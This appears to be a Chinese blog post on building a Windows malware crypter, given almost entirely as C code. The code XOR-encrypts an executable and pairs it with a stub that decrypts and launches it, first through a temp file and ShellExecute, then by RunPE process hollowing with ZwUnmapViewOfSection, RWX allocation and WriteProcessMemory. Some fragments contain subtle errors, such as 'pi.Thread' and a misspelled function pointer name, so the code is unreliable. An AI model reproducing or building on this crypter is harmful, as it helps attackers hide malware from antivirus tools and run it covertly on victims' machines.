2022-04-22 09:22:12
如果我们使用传统的密码学来进行恶意攻击,即设计恶意软件,利用密码学提供的优势。这些类型的恶意软件在现代已经非常普遍,包括勒索软件和非对称后门等,它们主要涉及公钥密码学。
+-------------+ +-----------+ +-------------------+ +--------+
| Your file | -> | Crypter | => | Encrypted file | + | Stub |
+-------------+ +-----------+ +-------------------+ +--------+
+------------------+ +--------+ +---------------+
| Encrypted file | + | Stub | = Execution => | Original File |
+------------------+ +--------+ +---------------+
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc < 2) {
// stub routine
} else {
// crypter routine
}
return EXIT_SUCCESS;
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc < 2) {
// stub routine
} else {
// crypter routine
// open file to crypt
HANDLE hFile = CreateFile(__argv[1], FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
// get file size
DWORD dwFileSize = GetFileSize(hFile, NULL);
// crypt and get crypted bytes
LPVOID lpFileBytes = Crypt(hFile, dwFileSize);
}
return EXIT_SUCCESS;
}
LPVOID Crypt(HANDLE hFile, DWORD dwFileSize) {
// allocate buffer for file contents
LPVOID lpFileBytes = malloc(dwFileSize);
// read the file into the buffer
ReadFile(hFile, lpFileBytes, dwFileSize, NULL, NULL);
// apply XOR encryption
int i;
for (i = 0; i < dwFileSize; i++) {
*((LPBYTE)lpFileBytes + i) ^= Key[i % sizeof(Key)];
}
return lpFileBytes;
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc < 2) {
// stub routine
} else {
// crypter routine
...
// get crypted file name in current directory
CHAR szCryptedFileName[MAX_PATH];
GetCurrentDirectory(MAX_PATH, szCryptedFileName);
strcat(szCryptedFileName, "\\");
strcat(szCryptedFileName, CRYPTED_FILE);
// open handle to new crypted file
HANDLE hCryptedFile = CreateFile(szCryptedFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// write to crypted file
WriteFile(hCryptedFile, lpFileBytes, dwFileSize, NULL, NULL);
CloseHandle(hCryptedFile);
free(lpFileBytes);
}
return EXIT_SUCCESS;
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc < 2) {
// stub routine
// get target encrypted file
CHAR szEncryptedFileName[MAX_PATH];
GetCurrentDirectory(MAX_PATH, szEncryptedFileName);
strcat(szEncryptedFileName, "\\");
strcat(szEncryptedFileName, CRYPTED_FILE);
// get handle to file
HANDLE hFile = CreateFile(szEncryptedFileName, FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
// get file size
DWORD dwFileSize = GetFileSize(hFile, NULL);
} else {
// crypter routine
}
return EXIT_SUCCESS;
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc < 2) {
// stub routine
...
// decrypt and obtain decrypted bytes
LPVOID lpFileBytes = Crypt(hFile, dwFileSize);
CloseHandle(hFile);
// get file in temporary directory
CHAR szTempFileName[MAX_PATH];
GetTempPath(MAX_PATH, szTempFileName);
strcat(szTempFileName, DECRYPTED_FILE);
// open handle to temp file
HANDLE hTempFile = CreateFile(szTempFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// write to temporary file
WriteFile(hTempFile, lpFileBytes, dwFileSize, NULL, NULL);
// clean up
CloseHandle(hTempFile);
free(lpFileBytes);
} else {
// crypter routine
}
return EXIT_SUCCESS;
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc < 2) {
// stub routine
...
// execute file
ShellExecute(NULL, NULL, szTempFileName, NULL, NULL, 0);
} else {
// crypter routine
}
return EXIT_SUCCESS;
}
stub伪代码
1. Decrypt application
2. Create suspended process
3. Preserve process's thread context
4. Hollow out process's virtual memory space
5. Allocate virtual memory
6. Write application's header and sections into allocated memory
7. Set modified thread context
8. Resume process
9. Finish
APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
Decrypt();
RunPE();
return EXIT_SUCCESS;
}
VOID Decrypt(VOID) {
int i;
for (i = 0; i < sizeof(Shellcode); i++) {
Shellcode[i] ^= Key[i % sizeof(Key)];
}
}
VOID RunPE(VOID) {
// check valid DOS signature
PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)Shellcode;
if (pidh->e_magic != IMAGE_DOS_SIGNATURE) return;
// check valid PE signature
PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)((DWORD)Shellcode + pidh->e_lfanew);
if (pinh->Signature != IMAGE_NT_SIGNATURE) return;
}
VOID RunPE(VOID) {
...
// get own full file name
CHAR szFileName[MAX_PATH];
GetModuleFileName(NULL, szFileName, MAX_PATH);
// initialize startup and process information
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
// required to set size of si.cb before use
si.cb = sizeof(si);
// create suspended process
CreateProcess(szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
}
VOID RunPE(VOID) {
...
// obtain thread context
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.Thread, &ctx);
}
typedef NTSTATUS (*fZwUnmapViewOfSection)(HANDLE, PVOID);
VOID RunPE(VOID) {
...
// dynamically retrieve ZwUnmapViewOfSection function from ntdll.dll
fZwUnmapViewOfSection pZwUnmapViewOfSection = (fZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
// hollow process at virtual memory address 'pinh->OptionalHeader.ImageBase'
pZwUnMapViewOfSection(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase);
// allocate virtual memory at address 'pinh->OptionalHeader.ImageBase' of size `pinh->OptionalHeader.SizeofImage` with RWX permissions
LPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}
VOID RunPE(VOID) {
...
// write header
WriteProcessMemory(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, Shellcode, pinh->OptionalHeader.SizeOfHeaders, NULL);
// write each section
int i;
for (i = 0; i < pinh->FileHeader.NumberOfSections; i++) {
// calculate and get ith section
PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)((DWORD)Shellcode + pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i);
// write section data
WriteProcessMemory(pi.hProcess, (LPVOID)(lpBaseAddress + pish->VirtualAddress), (LPVOID)((DWORD)Shellcode + pish->PointerToRawData), pish->SizeOfRawData, NULL);
}
}
VOID RunPE(VOID) {
...
// set appropriate address of entry point
ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);
// resume and execute our application
ResumeThread(pi.hThread);
}